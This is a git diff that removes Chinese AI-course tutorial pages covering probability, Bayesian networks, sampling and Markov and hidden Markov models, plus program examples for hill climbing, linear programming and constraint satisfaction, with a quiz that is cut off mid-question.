可见效应)$。例如,我们可以通过医学试验来学习$P(医学测试结果 | 疾病)$,在医学试验中,我们对患有该疾病的人进行测试,并观察测试结果发生的频率。知道了这一点,我们就可以计算出$P(疾病 | 医学检测结果)$,这是有价值的诊断信息。 - -## 联合概率 (Joint Probability) - -联合概率是指多个事件全部发生的可能性。 - -让我们考虑下面的例子,关于早上有云,下午有雨的概率。 - -| C=云 | C=$\lnot$云 | -| ---- | ----------- | -| 0.4 | 0.6 | - -| R=雨 | R=$\lnot$雨 | -| ---- | ----------- | -| 0.1 | 0.9 | - -从这些数据来看,我们无法判断早上的云是否与下午下雨的可能性有关。为了做到这一点,我们需要看看这两个变量所有可能结果的联合概率。我们可以将其表示在下表中: - -| | R=雨 | R=$\lnot$ 雨 | -| ----------- | ---- | ------------ | -| C=云 | 0.08 | 0.32 | -| C=$\lnot$云 | 0.02 | 0.58 | - -现在我们可以知道有关这些事件同时发生的信息了。例如,我们知道某一天早上有云,下午有雨的概率是 0.08。早上没有云,下午没有雨的概率是 0.58。 - -使用联合概率,我们可以推导出条件概率。例如,如果我们感兴趣的是在下午下雨的情况下,早上云层的概率分布。$P(C|雨)=\frac{P(C,雨)}{P(雨)}$旁注:在概率上,逗号和$∧$可以互换使用。因此,$P(C,雨)=P(C\land 雨)$。换句话说,我们将降雨和云层的联合概率除以降雨的概率。 - -在最后一个方程中,可以将$P(雨)$视为$P(C,雨)$乘以的某个常数$\alpha=\frac{1}{P(雨)}$。因此,我们可以重写$P(C|雨)=\frac{P(C,雨)}{P(雨)}=αP(C,雨)$,或$α<0.08,0.02>=<0.8,0.2>$。考虑到下午有雨,将$α$分解后,我们可以得到 C 的可能值的概率比例。也就是说,如果下午有雨,那么早上有云和早上没有云的概率的比例是$0.08:0.02$。请注意,0.08 和 0.02 的总和不等于 1;然而,由于这是随机变量 C 的概率分布,我们知道它们应该加起来为 1。因此,我们需要通过算$α$来归一化这些值,使得$α0.08+α0.02=1$。最后,我们可以说$P(C|雨)=<0.8,0.2>$。 - -## 概率规则 (Probability Rules) - -- 否定 (Negation): $P(\lnot a)=1-P(a)$。这源于这样一个事实,即所有可能世界的概率之和为 1,互补事件$\lnot a$和 $a$ 包括所有可能世界。 -- 包含 - 排除 Inclusion-Exclusion:$P(a\lor b)=P(a)+P(b)-P(a\land b)$。这可以用以下方式解释:$a$或$b$为真的世界等于$a$为真的所有世界,加上$b$为真的所有世界。然而,在这种情况下,有些世界被计算两次(a 和$b$都为真的世界)。为了消除这种重叠,我们将$a$和$b$ 都为真的世界减去一次(因为它们被计算了两次)。 - - > 下面是一个例子,可以说明这一点。假设我 80% 的时间吃冰淇淋,70% 的时间吃饼干。如果我们计算今天我吃冰淇淋或饼干的概率,不减去$P(冰淇淋∧饼干)$,我们错误地得出 0.7+0.8=1.5。这与概率在 0 和 1 之间的公理相矛盾。为了纠正我同时吃冰淇淋和饼干的天数计算两次的错误,我们需要减去$P(冰淇淋∧饼干)$一次。 -- 边缘化 (Marginalization):$P(a)=P(a,b)+P(a,\lnot b)$。这里的观点是,$b$和$\lnot b$是独立的概率。也就是说,$b$和$\lnot b$同时发生的概率为 0。我们也知道$b$和$\lnot b$的总和为 1。因此,当$a$发生时,$b$可以发生也可以不发生。当我们把$a$和$b$发生的概率加上$a$和$\lnot b$的概率时,我们得到的只是$a$ 的概率。 - - 随机变量的边缘化可以用:$P(X=x_i)=\sum_jP(X=x_i,Y=y_j)$表示 - - 方程的左侧表示“随机变量$X$具有$x_i$值的概率”例如,对于我们前面提到的变量 C,两个可能的值是早上有云和早上没有云。等式的正确部分是边缘化的概念。$P(X=x_i)$等于$x_i$以及随机变量$Y$的每一个值的所有联合概率之和。例如,$P(C=云)=P(C=云,R=雨)+P(C=云,R=\lnot 雨)=0.08+0.32=0.4$。 - -- 条件边缘化:$P(a)=P(a|b)P(b)+P(a|\lnot b)P(\lnot b)$。这是一个类似于边缘化的想法。事件$a$发生的概率等于给定$b$的概率乘以$b$的概率,再加上给定$\lnot b$的概率乘以$\lnot b$ 的概率。 - - $P(X=x_i)=\sum_jP(X=x_i|Y=y_i)P(Y=y_i)$ - - 在这个公式中,随机变量$X$取$x_i$值概率等于$x_i$以及随机变量$Y$的每个值的联合概率乘以变量$Y$取该值的概率之和。如果我们还记得$P(a|b)=\frac{P(a,b)}{P(b)}$,就可以理解这个公式。如果我们将这个表达式乘以$P(b)$,我们得到$P(a,b)$,从这里开始,我们做的与边缘化相同。 - -## 贝叶斯网络 (Bayesian Networks) - -贝叶斯网络是一种表示随机变量之间相关性的数据结构。贝叶斯网络具有以下属性: - -- 它们是有向图。 -- 图上的每个节点表示一个随机变量。 -- 从 X 到 Y 的箭头表示 X 是 Y 的父对象。也就是说,Y 的概率分布取决于 X 的值。 -- 每个节点 X 具有概率分布$P(X|Parents(X))$。 - -让我们考虑一个贝叶斯网络的例子,该网络包含影响我们是否按时赴约的随机变量。 - -![](https://cdn.xyxsw.site/GKc6be6ueopUYZxxQg4cS4AVnmb.png) - -让我们从上到下描述这个贝叶斯网络: - -- rain 是这个网络的根节点。这意味着它的概率分布不依赖于任何先前的事件。在我们的例子中,Rain 是一个随机变量,可以采用以下概率分布的值$\set{none,light,heavy}$: - - | none | light | heavy | - | ---- | ----- | ----- | - | 0.7 | 0.2 | 0.1 | - -- Maintenance 对是否有列车轨道维护进行编码,取值为$\set{yes,no}$。Rain 是 Maintenance 的父节点,这意味着 Maintenance 概率分布受到 Rain 的影响。 - - | R | yes | no | - | ----- | --- | --- | - | none | 0.4 | 0.6 | - | light | 0.2 | 0.8 | - | heavy | 0.1 | 0.9 | - -- Train 是一个变量,用于编码列车是准时还是晚点,取值为$\set{on\ time,delayed}$。请注意,列车上被“Maintenance”和“rain”指向。这意味着两者都是 Train 的父对象,它们的值会影响 Train 的概率分布。 - - | R | M | On time | Delayed | - | ------ | --- | ------- | ------- | - | none | yes | 0.8 | 0.2 | - | none | no | 0.9 | 0.1 | - | light | yes | 0.6 | 0.4 | - | light | no | 0.7 | 0.3 | - | heavry | yes | 0.4 | 0.6 | - | heavy | no | 0.5 | 0.5 | - -- Appointment 是一个随机变量,表示我们是否参加约会,取值为$\set{attend, miss}$。请注意,它唯一的父级是 Train。关于贝叶斯网络的这一点值得注意:父子只包括直接关系。的确,Maintenance 会影响 Train 是否准时,而 Train 是否准时会影响我们是否赴约。然而,最终,直接影响我们赴约机会的是 Train 是否准时,这就是贝叶斯网络所代表的。例如,如果火车准时到达,可能会有大雨和轨道维护,但这对我们是否赴约没有影响。 - - | T | attend | miss | - | ------- | ------ | ---- | - | on time | 0.9 | 0.1 | - | delayed | 0.6 | 0.4 | - -例如,如果我们想找出在没有维护和小雨的一天火车晚点时错过约会的概率,或者$P(light,no,delayed,miss)$,我们将计算如下:$P(light)P(no|light)P(delayed|light,no)P(miss|delayed)$。每个单独概率的值可以在上面的概率分布中找到,然后将这些值相乘以产生$P(light,no,delayed,miss)$。 - -### 推理 (Inference) - -在知识推理,我们通过蕴含来看待推理。这意味着我们可以在现有信息的基础上得出新的信息。我们也可以根据概率推断出新的信息。虽然这不能让我们确切地知道新的信息,但它可以让我们计算出一些值的概率分布。推理具有多个属性。 -- Query 查询变量 $X$:我们要计算概率分布的变量。 -- Evidence variables 证据变量$E$: 一个或多个观测到事件$e$ 的变量。例如,我们可能观测到有小雨,这一观测有助于我们计算火车延误的概率。 -- Hidden variables 隐藏变量 $H$: 不是查询结论的变量,也没有被观测到。例如,站在火车站,我们可以观察是否下雨,但我们不知道道路后面的轨道是否有维修。因此,在这种情况下,Maintenance 将是一个隐藏的变量。 -- The goal 目标:计算$P(X|e)$。例如,根据我们知道有小雨的证据 $e$ 计算 Train 变量 (查询) 的概率分布。 - -举一个例子。考虑到有小雨和没有轨道维护的证据,我们想计算 Appointment 变量的概率分布。也就是说,我们知道有小雨,没有轨道维护,我们想弄清楚我们参加约会和错过约会的概率是多少,$P(Appointment|light,no)$。从联合概率部分中,我们知道我们可以将约会随机变量的可能值表示为一个比例,将$P(Appointment|light,no)$重写为$αP(Appointment,light,no)$。如果 Appointment 的父节点仅为 Train 变量,而不是 Rain 或 Maintenance,我们如何计算约会的概率分布?在这里,我们将使用边缘化。$P(Appointment,light,no)$的值等于$α[P(Appointment,light,no,delay)+P(Appointment,light,no,on\ time)]$。 - -### 枚举推理 - -枚举推理是在给定观测证据$e$和一些隐藏变量$Y$的情况下,找到变量$X$ 的概率分布的过程。 - -$P(X|e)=\alpha P(X,e)=\alpha \sum_yP(X,e,y)$ - -在这个方程中,$X$代表查询变量,$e$代表观察到的证据,$y$代表隐藏变量的所有值,$α$归一化结果,使我们最终得到的概率加起来为 1。用文字来解释这个方程,即给定$e$的$X$的概率分布等于$X$和$e$的归一化概率分布。为了得到这个分布,我们对$X、e$和$y$的归一化概率求和,其中$y$每次取隐藏变量$Y$ 的不同值。 - -Python 中存在多个库,以简化概率推理过程。我们将查看库 `pomegranate`,看看如何在代码中表示上述数据。 - -```python -from pomegranate import * -'''创建节点,并为每个节点提供概率分布''' -# Rain 节点没有父节点 -rain = Node(DiscreteDistribution({ - "none": 0.7, - "light": 0.2, - "heavy": 0.1 -}), name="rain") -# Track maintenance 节点以 rain 为条件 -maintenance = Node(ConditionalProbabilityTable([ - ["none", "yes", 0.4], - ["none", "no", 0.6], - ["light", "yes", 0.2], - ["light", "no", 0.8], - ["heavy", "yes", 0.1], - ["heavy", "no", 0.9] -], [rain.distribution]), name="maintenance") -# Train node 节点以 rain 和 maintenance 为条件 -train = Node(ConditionalProbabilityTable([ - ["none", "yes", "on time", 0.8], - ["none", "yes", "delayed", 0.2], - ["none", "no", "on time", 0.9], - ["none", "no", "delayed", 0.1], - ["light", "yes", "on time", 0.6], - ["light", "yes", "delayed", 0.4], - ["light", "no", "on time", 0.7], - ["light", "no", "delayed", 0.3], - ["heavy", "yes", "on time", 0.4], - ["heavy", "yes", "delayed", 0.6], - ["heavy", "no", "on time", 0.5], - ["heavy", "no", "delayed", 0.5], -], [rain.distribution, maintenance.distribution]), name="train") -# Appointment 节点以列车为条件 -appointment = Node(ConditionalProbabilityTable([ - ["on time", "attend", 0.9], - ["on time", "miss", 0.1], - ["delayed", "attend", 0.6], - ["delayed", "miss", 0.4] -], [train.distribution]), name="appointment") -'''我们通过添加所有节点来创建模型,然后通过在节点之间添加边来描述哪个节点是另一个节点的父节点(回想一下,贝叶斯网络是一个有向图,节点之间由箭头组成)。''' -# 创建贝叶斯网络并添加状态 -model = BayesianNetwork() -model.add_states(rain, maintenance, train, appointment) -# 添加连接节点的边 -model.add_edge(rain, maintenance) -model.add_edge(rain, train) -model.add_edge(maintenance, train) -model.add_edge(train, appointment) -# 最终确定模型 -model.bake() -'''模型可以计算特定条件下的概率''' -# 计算给定观测的概率 -probability = model.probability([["none", "no", "on time", "attend"]]) -print(probability) -'''我们可以使用该模型为所有变量提供概率分布,给出一些观测到的证据。在以下情况下,我们知道火车晚点了。给定这些信息,我们计算并打印变量 Rain、Maintenance 和 Appointment 的概率分布。''' -# 根据火车晚点的证据计算预测 -predictions = model.predict_proba({ - "train": "delayed" -}) -# 打印每个节点的预测 -for node, prediction in zip(model.states, predictions): - # 预测已确定时返回字符串 - if isinstance(prediction, str): - print(f"{node.name}: {prediction}") - else: - # 预测不确定时返回概率分布 - print(f"{node.name}") - for value, probability in prediction.parameters[0].items(): - print(f" {value}: {probability:.4f}") -``` - -上面的代码使用了枚举推理。然而,这种计算概率的方法效率很低,尤其是当模型中有很多变量时。另一种方法是放弃精确推理,转而采用近似推理。这样做,我们在生成的概率中会失去一些精度,但这种不精确性通常可以忽略不计。相反,我们获得了一种可扩展的概率计算方法。 - -### 采样 (Sampling) - -采样是一种近似推理技术。在采样中,根据每个变量的概率分布对其值进行采样。 - -> 要使用骰子采样生成分布,我们可以多次掷骰子,并记录每次获得的值。假设我们把骰子掷了 600 次。我们计算得到 1 的次数,应该大约是 100,然后对其余的值 2-6 重复采样。然后,我们将每个计数除以投掷的总数。这将生成掷骰子的值的近似分布:一方面,我们不太可能得到每个值发生概率为 1/6 的结果(这是确切的概率),但我们会得到一个接近它的值。 - -如果我们从对 Rain 变量进行采样开始,则生成的值 none 的概率为 0.7,生成的值 light 的概率为 0.2,而生成的值 heavy 的概率则为 0.1。假设我们的采样值为 none。当我们得到 Maintenance 变量时,我们也会对其进行采样,但只能从 Rain 等于 none 的概率分布中进行采样,因为这是一个已经采样的结果。我们将通过所有节点继续这样做。现在我们有一个样本,多次重复这个过程会生成一个分布。现在,如果我们想回答一个问题,比如什么是$P(Train=on\ time)$,我们可以计算变量 Train 具有准时值的样本数量,并将结果除以样本总数。通过这种方式,我们刚刚生成了$P(Train=on\ {time})$的近似概率。 - - - - - - -
- -我们也可以回答涉及条件概率的问题,例如$P(rain=light|train=on\ {time})$。在这种情况下,我们忽略 Train 值为 delay 的所有样本,然后照常进行。我们计算在$Train=\text{on time}$的样本中有多少样本具有变量$Rain=light$,然后除以$Train=\text{on time}$的样本总数。 - - - - - - -
- -| 去除$T= on time$的样本 | 选择$R=light$的样本 | -| --------------------- | ------------------ | -| ![](https://cdn.xyxsw.site/Ilj3bPKuwo0l6Dx13rZcVXfenOb.png) | ![](https://cdn.xyxsw.site/AptYbb5MZoylvex7LvPcSqivnef.png) | - -在代码中,采样函数可以是 `generate_sample`: - -```python -'''如果你对 pomegrante 库不熟悉,没有关系,考虑 generate_sample 为一个黑盒,或者你可以在 python 解释器中查看 model.states, state.distribution 的值以了解 model 在该库中的实现方式''' -import pomegranate -from collections import Counter -def generate_sample(): - # 随机变量与生成的样本之间的映射 - sample = {} - # 概率分布与样本的映射 - parents = {} - # 为所有状态节点采样 - for state in model.states: - # 如果我们有一个非根节点,则以父节点为条件进行采样 - if isinstance(state.distribution, pomegranate.ConditionalProbabilityTable): - sample[state.name] = state.distribution.sample(parent_values=parents) - # 否则,只根据节点的概率分布单独取样 - else: - sample[state.name] = state.distribution.sample() - # 追踪映射中的采样值 - parents[state.distribution] = sample[state.name] - # 返回生成的样本 - return sample -# 采样 -# 观测到 train=delay,计算 appointment 分布 -N = 10000 -data = [] -# 重复采样 10000 次 -for i in range(N): - # 根据我们之前定义的函数生成一个样本 - sample = generate_sample() - # 如果在该样本中,Train 的变量的值为 delay,则保存样本。由于我们对给定 train=delay 的 appointment 概率分布感兴趣,我们丢弃了 train=on time 的采样样本。 - if sample["train"] == "delayed": - data.append(sample["appointment"]) -# 计算变量的每个值出现的次数。我们可以稍后通过将结果除以保存的样本总数来进行归一化,以获得变量的近似概率,该概率加起来为 1。 -print(Counter(data)) -``` - -### 似然加权 - -在上面的采样示例中,我们丢弃了与我们所掌握的证据不匹配的样本。这是低效的。解决这一问题的一种方法是使用似然加权,使用以下步骤: - -- 首先固定证据变量的值。 -- 使用贝叶斯网络中的条件概率对非证据变量进行采样。 -- 根据其可能性对每个样本进行加权:所有证据出现的概率。 - -例如,如果我们观察到$Train=\text{on time}$,我们将像之前一样开始采样。我们对给定概率分布的 Rain 值进行采样,然后对 Maintenance 进行采样,但当我们到达 Train 时,我们总是按照观测值取值。然后,我们继续进行,并在给定$Train=\text{on time}$的情况下,根据其概率分布对 Appointment 进行采样。既然这个样本存在,我们就根据观察到的变量在给定其采样父变量的情况下的条件概率对其进行加权。也就是说,如果我们采样了 Rain 并得到了 light,然后我们采样了 Maintenance 并得到了 yes,那么我们将用$P(Train=\text{on time}|light,yes)$来加权这个样本。 - -## 马尔科夫模型 (Markov Models) - -到目前为止,我们已经研究了概率问题,给出了我们观察到的一些信息。在这种范式中,时间的维度没有以任何方式表示。然而,许多任务确实依赖于时间维度,例如预测。为了表示时间变量,我们将创建一个新的变量$X$,并根据感兴趣的事件对其进行更改,使$X_t$ 是当前事件,$X_{t+1}$ 是下一个事件,依此类推。为了能够预测未来的事件,我们将使用马尔可夫模型。 - -### 马尔科夫假设 (**The Markov Assumption**) - -马尔科夫假设是一个假设,即当前状态只取决于有限的固定数量的先前状态。想想预测天气的任务。在理论上,我们可以使用过去一年的所有数据来预测明天的天气。然而,这是不可行的,一方面是因为这需要计算能力,另一方面是因为可能没有关于基于 365 天前天气的明天天气的条件概率的信息。使用马尔科夫假设,我们限制了我们以前的状态(例如,在预测明天的天气时,我们要考虑多少个以前的日子),从而使这个任务变得可控。这意味着我们可能会得到感兴趣的概率的一个更粗略的近似值,但这往往足以满足我们的需要。此外,我们可以根据最后一个事件的信息来使用马尔可夫模型(例如,根据今天的天气来预测明天的天气)。 - -### 马尔科夫链 (**Markov Chain**) - -马尔科夫链是一个随机变量的序列,每个变量的分布都遵循马尔科夫假设。也就是说,链中的每个事件的发生都是基于之前事件的概率。 - -为了构建马尔可夫链,我们需要一个过渡模型,该模型将根据当前事件的可能值来指定下一个事件的概率分布。 - -![](https://cdn.xyxsw.site/VBGxbrNgAovuKXxnTKYcm7UinFd.png) - -在这个例子中,基于今天是晴天,明天是晴天的概率是 0.8。这是合理的,因为晴天之后更可能是晴天。然而,如果今天是雨天,明天下雨的概率是 0.7,因为雨天更有可能相继出现。使用这个过渡模型,可以对马尔可夫链进行采样。从一天是雨天或晴天开始,然后根据今天的天气,对第二天的晴天或雨天的概率进行采样。然后,根据明天的情况对后天的概率进行采样,以此类推,形成马尔科夫链: - -![](https://cdn.xyxsw.site/XBghbKBaVoz0C4xa85rch804ngd.png) - -给定这个马尔可夫链,我们现在可以回答诸如“连续四个雨天的概率是多少?”这样的问题。下面是一个如何在代码中实现马尔可夫链的例子: - -```python -from pomegranate import * -# 定义起始概率 -start = DiscreteDistribution({ - "sun": 0.5, - "rain": 0.5 -}) -# 定义过渡模型 -transitions = ConditionalProbabilityTable([ - ["sun", "sun", 0.8], - ["sun", "rain", 0.2], - ["rain", "sun", 0.3], - ["rain", "rain", 0.7] -], [start]) -# 创造马尔科夫链 -model = MarkovChain([start, transitions]) -# 采样 50 次 -print(model.sample(50)) -``` - -## 隐马尔科夫模型 (Hidden Markov Models) - -隐马尔科夫模型是一种具有隐藏状态的系统的马尔科夫模型,它产生了一些观察到的事件。这意味着,有时候,人工智能对世界有一些测量,但无法获得世界的精确状态。在这些情况下,世界的状态被称为隐藏状态,而人工智能能够获得的任何数据都是观察结果。下面是一些这方面的例子: - -- 对于一个探索未知领域的机器人来说,隐藏状态是它的位置,而观察是机器人的传感器所记录的数据。 -- 在语音识别中,隐藏状态是所讲的话语,而观察是音频波形。 -- 在衡量网站的用户参与度时,隐藏的状态是用户的参与程度,而观察是网站或应用程序的分析。 - -举个例子。我们的人工智能想要推断天气 (隐藏状态),但它只能接触到一个室内摄像头,记录有多少人带了雨伞。这里是我们的传感器模型 (sensor model),表示了这些概率: - -![](https://cdn.xyxsw.site/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png) - -在这个模型中,如果是晴天,人们很可能不会带伞到大楼。如果是雨天,那么人们就很有可能带伞到大楼来。通过对人们是否带伞的观察,我们可以合理地预测外面的天气情况。 - -### 传感器马尔科夫假设 - -假设证据变量只取决于相应的状态。例如,对于我们的模型,我们假设人们是否带雨伞去办公室只取决于天气。这不一定反映了完整的事实,因为,比如说,比较自觉的、不喜欢下雨的人可能即使在阳光明媚的时候也会到处带伞,如果我们知道每个人的个性,会给模型增加更多的数据。然而,传感器马尔科夫假设忽略了这些数据,假设只有隐藏状态会影响观察。 - -隐马尔科夫模型可以用一个有两层的马尔科夫链来表示。上层,变量$X$,代表隐藏状态。底层,变量$E$,代表证据,即我们所拥有的观察。 - -![](https://cdn.xyxsw.site/FnyrbYSEWohimaxIYPSchotGnse.png) - -基于隐马尔科夫模型,可以实现多种任务: - -- 筛选 Filtering: 给定从开始到现在的观察结果,计算出当前状态的概率分布。例如,给从从特定时间开始到今天人们带伞的信息,我们产生一个今天是否下雨的概率分布。 -- 预测 Prediction: 给定从开始到现在的观察,计算未来状态的概率分布。 -- 平滑化 Smoothing: 给定从开始到现在的观察,计算过去状态的概率分布。例如,鉴于今天人们带了雨伞,计算昨天下雨的概率。 -- 最可能的解释 Most likely explanation: 鉴于从开始到现在的观察,计算最可能的事件顺序。 - - 最可能的解释任务可用于语音识别等过程,根据多个波形,人工智能推断出给这些波形带来的最有可能的单词或音节的序列。 - -接下来是一个隐马尔科夫模型的 Python 实现,我们将用于最可能的解释任务: - -```python -from pomegranate import * -# 每个状态的观测模型 -sun = DiscreteDistribution({ - "umbrella": 0.2, - "no umbrella": 0.8 -}) -rain = DiscreteDistribution({ - "umbrella": 0.9, - "no umbrella": 0.1 -}) -states = [sun, rain] -# 过渡模型 -transitions = numpy.array( - [[0.8, 0.2], # Tomorrow's predictions if today = sun - [0.3, 0.7]] # Tomorrow's predictions if today = rain -) -# 起始概率 -starts = numpy.array([0.5, 0.5]) -# 建立模型 -model = HiddenMarkovModel.from_matrix( - transitions, states, starts, - state_names=["sun", "rain"] -) -model.bake() -``` - -请注意,我们的模型同时具有传感器模型和过渡模型。对于隐马尔可夫模型,我们需要这两个模型。在下面的代码片段中,我们看到了人们是否带伞到大楼的观察序列,根据这个序列,我们将运行模型,它将生成并打印出最可能的解释 (即最可能带来这种观察模式的天气序列): - -```python -from model import model -# 观测到的数据 -observations = [ - "umbrella", - "umbrella", - "no umbrella", - "umbrella", - "umbrella", - "umbrella", - "umbrella", - "no umbrella", - "no umbrella" -] -# 预测隐藏状态 -predictions = model.predict(observations) -for prediction in predictions: - print(model.states[prediction].name) -``` - -在这种情况下,程序的输出将是 rain,rain,sun,rain,rain,rain,rain,sun,sun。根据我们对人们带伞或不带伞到大楼的观察,这一输出代表了最有可能的天气模式。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例.md deleted file mode 100644 index b7a8f42..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例.md +++ /dev/null @@ -1,341 +0,0 @@ -# 程序示例 - -::: tip -阅读程序并运行 - -完成习题 -::: - -::: tip 📥 -本节附件下载 -::: - -## Hospital(局部搜索) - -```python -import random - -class Space(): - def __init__(self, height, width, num_hospitals): - """创建一个具有给定维度的新状态空间""" - self.height = height # 高度 - self.width = width # 宽度 - self.num_hospitals = num_hospitals # 医院数量 - self.houses = set() # 住房位置集合 - self.hospitals = set() # 医院位置集合 - - def add_house(self, row, col): - """在状态空间中的特定位置添加住房""" - self.houses.add((row, col)) - - def available_spaces(self): - """返回住房或医院当前未使用的所有单元格""" - # 考虑所有可能的单元格 - candidates = set( - (row, col) - for row in range(self.height) - for col in range(self.width) - ) - # 排除所有住房和医院 - for house in self.houses: - candidates.remove(house) - for hospital in self.hospitals: - candidates.remove(hospital) - return candidates - - def hill_climb(self, maximum=None, image_prefix=None, log=False): - """执行爬山算法找到解决方案""" - count = 0 - # 从随机初始化的医院位置开始 - self.hospitals = set() - for i in range(self.num_hospitals): - self.hospitals.add(random.choice(list(self.available_spaces()))) - ... - # 执行算法,直到达到最大迭代次数 - while maximum is None or count < maximum: - count += 1 - best_neighbors = [] - best_neighbor_cost = None - # 考虑所有医院移动 - for hospital in self.hospitals: - # 考虑一下那家医院的所有邻居 - for replacement in self.get_neighbors(*hospital): - # 生成一组相邻的医院 - neighbor = self.hospitals.copy() - neighbor.remove(hospital) - neighbor.add(replacement) - # 检查邻居是否是迄今为止最好的 - cost = self.get_cost(neighbor) - if best_neighbor_cost is None or cost < best_neighbor_cost: - best_neighbor_cost = cost - best_neighbors = [neighbor] - elif best_neighbor_cost == cost: - best_neighbors.append(neighbor) - # 没有一个邻居比目前的状态更好 - if best_neighbor_cost >= self.get_cost(self.hospitals): - return self.hospitals - # 移动到价值最高的邻居 - else: - ... - self.hospitals = random.choice(best_neighbors) - ... - - def random_restart(self, maximum, image_prefix=None, log=False): - """多次重复爬山算法""" - best_hospitals = None - best_cost = None - # 重复爬山算法的固定次数 - for i in range(maximum): - hospitals = self.hill_climb() - cost = self.get_cost(hospitals) - if best_cost is None or cost < best_cost: - best_cost = cost - best_hospitals = hospitals - ... - else: - ... - ... - return best_hospitals - - def get_cost(self, hospitals): - """计算从住房到最近医院的距离总和""" - cost = 0 - for house in self.houses: - cost += min( - abs(house[0] - hospital[0]) + abs(house[1] - hospital[1]) - for hospital in hospitals - ) - return cost - - def get_neighbors(self, row, col): - """返回尚未包含住房或医院的邻居""" - candidates = [ - (row - 1, col), - (row + 1, col), - (row, col - 1), - (row, col + 1) - ] - neighbors = [] - for r, c in candidates: - if (r, c) in self.houses or (r, c) in self.hospitals: - continue - if 0 <= r < self.height and 0 <= c < self.width: - neighbors.append((r, c)) - return neighbors - - def output_image(self, filename): - """生成所有房屋和医院的图像(不作要求)""" - from PIL import Image, ImageDraw, ImageFont - cell_size = 100 - cell_border = 2 - cost_size = 40 - padding = 10 - - # Create a blank canvas - img = Image.new( - "RGBA", - (self.width * cell_size, - self.height * cell_size + cost_size + padding * 2), - "white" - ) - house = Image.open("assets/images/House.png").resize( - (cell_size, cell_size) - ) - hospital = Image.open("assets/images/Hospital.png").resize( - (cell_size, cell_size) - ) - font = ImageFont.truetype("assets/fonts/OpenSans-Regular.ttf", 30) - draw = ImageDraw.Draw(img) - - for i in range(self.height): - for j in range(self.width): - - # Draw cell - rect = [ - (j * cell_size + cell_border, - i * cell_size + cell_border), - ((j + 1) * cell_size - cell_border, - (i + 1) * cell_size - cell_border) - ] - draw.rectangle(rect, fill="black") - - if (i, j) in self.houses: - img.paste(house, rect[0], house) - if (i, j) in self.hospitals: - img.paste(hospital, rect[0], hospital) - - # Add cost - draw.rectangle( - (0, self.height * cell_size, self.width * cell_size, - self.height * cell_size + cost_size + padding * 2), - "black" - ) - draw.text( - (padding, self.height * cell_size + padding), - f"Cost: {self.get_cost(self.hospitals)}", - fill="white", - font=font - ) - - img.save(filename) - -# 创建一个状态空间并随机添加住房 -s = Space(height=10, width=20, num_hospitals=3) -for i in range(15): - s.add_house(random.randrange(s.height), random.randrange(s.width)) -# 使用局部搜索来确定医院位置 -hospitals = s.random_restart(maximum=100, image_prefix="hospitals", log=True) -``` - -## Production(线性规划) - -```python -import scipy.optimize -# Objective Function: 50x_1 + 80x_2 -# Constraint 1: 5x_1 + 2x_2 <= 20 -# Constraint 2: -10x_1 + -12x_2 <= -90 -result = scipy.optimize.linprog( - [50, 80], # Cost function: 50x_1 + 80x_2 - A_ub=[[5, 2], [-10, -12]], # Coefficients for inequalities - b_ub=[20, -90], # Constraints for inequalities: 20 and -90 -) -if result.success: - print(f"X1: {round(result.x[0], 2)} hours") - print(f"X2: {round(result.x[1], 2)} hours") -else: - print("No solution") -``` - -## Schedule(约束满足) - -```python -"""没有任何启发式或推理的自然回溯搜索""" -VARIABLES = ["A", "B", "C", "D", "E", "F", "G"] -CONSTRAINTS = [ - ("A", "B"), - ("A", "C"), - ("B", "C"), - ("B", "D"), - ("B", "E"), - ("C", "E"), - ("C", "F"), - ("D", "E"), - ("E", "F"), - ("E", "G"), - ("F", "G") -] - -def backtrack(assignment): - """运行回溯搜索以查找赋值""" - # 检查赋值是否完成 - if len(assignment) == len(VARIABLES): - return assignment - # 尝试一个新变量 - var = select_unassigned_variable(assignment) - for value in ["Monday", "Tuesday", "Wednesday"]: - new_assignment = assignment.copy() - new_assignment[var] = value - if consistent(new_assignment): - result = backtrack(new_assignment) - if result is not None: - return result - return None - -def select_unassigned_variable(assignment): - """按顺序选择尚未赋值的变量""" - for variable in VARIABLES: - if variable not in assignment: - return variable - return None - - -def consistent(assignment): - """检查分配是否一致""" - for (x, y) in CONSTRAINTS: - # 仅考虑变量赋值都已指定的弧 - if x not in assignment or y not in assignment: - continue - # 如果两者的值相同,则不一致 - if assignment[x] == assignment[y]: - return False - # 如果没有不一致的地方,那么赋值是一致的 - return True - -solution = backtrack(dict()) -print(solution) -``` - -使用命令`pip install python-constraint`安装 constraint 库 - -```python -from constraint import * - -problem = Problem() - -# 添加变量 -problem.addVariables( - ["A", "B", "C", "D", "E", "F", "G"], - ["Monday", "Tuesday", "Wednesday"] -) - -# 添加约束 -CONSTRAINTS = [ - ("A", "B"), - ("A", "C"), - ("B", "C"), - ("B", "D"), - ("B", "E"), - ("C", "E"), - ("C", "F"), - ("D", "E"), - ("E", "F"), - ("E", "G"), - ("F", "G") -] -for x, y in CONSTRAINTS: - problem.addConstraint(lambda x, y: x != y, (x, y)) - -# Solve problem -for solution in problem.getSolutions(): - print(solution) -``` - -## Quiz - -1. 对于以下哪一项,即使多次重新运行算法,也会始终找到相同的解决方案? - 假设一个问题的目标是最小化成本函数,并且状态空间中的每个状态都有不同的成本。 - 1. Steepest-ascent hill-climbing,每次从不同的初始状态开始 - 2. Steepest-ascent hill-climbing,每次都从相同的初始状态开始 - 3. Stochastic hill-climbing,每次从不同的初始状态开始 - 4. Stochastic hill-climbing,每次都从相同的初始状态开始 - 5. 无论是 steepest-ascent 还是 stochastic hill climbing,只要你总是从同一个初始状态开始 - 6. 无论是 steepest-ascent 还是 stochastic hill climbing,只要每次都从不同的初始状态开始 - 7. 没有任何版本的爬山算法能保证每次都能得到相同的解决方案 - -2. 下面两个问题都会问你关于下面描述的优化问题。 - 一位农民正在尝试种植两种作物,`作物 1` 和`作物 2`,并希望实现利润最大化。农民将从种植的每英亩`作物 1` 中获得 500 美元的利润,从种植的每英亩`作物 2` 中获得 400 美元的利润。然而,农民今天需要在早上 7 点到晚上 7 点之间的 12 个小时内完成所有的种植。种植一英亩的`作物 1` 需要 3 个小时,种植一英亩`作物 2` 需要 2 个小时。农民在供应方面也很有限:他有足够的供应种植 10 英亩的`作物 1`,有足够的资源种植 4 英亩的`作物 2`。假设变量 C1 表示要种植的`作物 1` 的英亩数,变量 C2 表示要种植`作物 2` 的英亩数。 - - 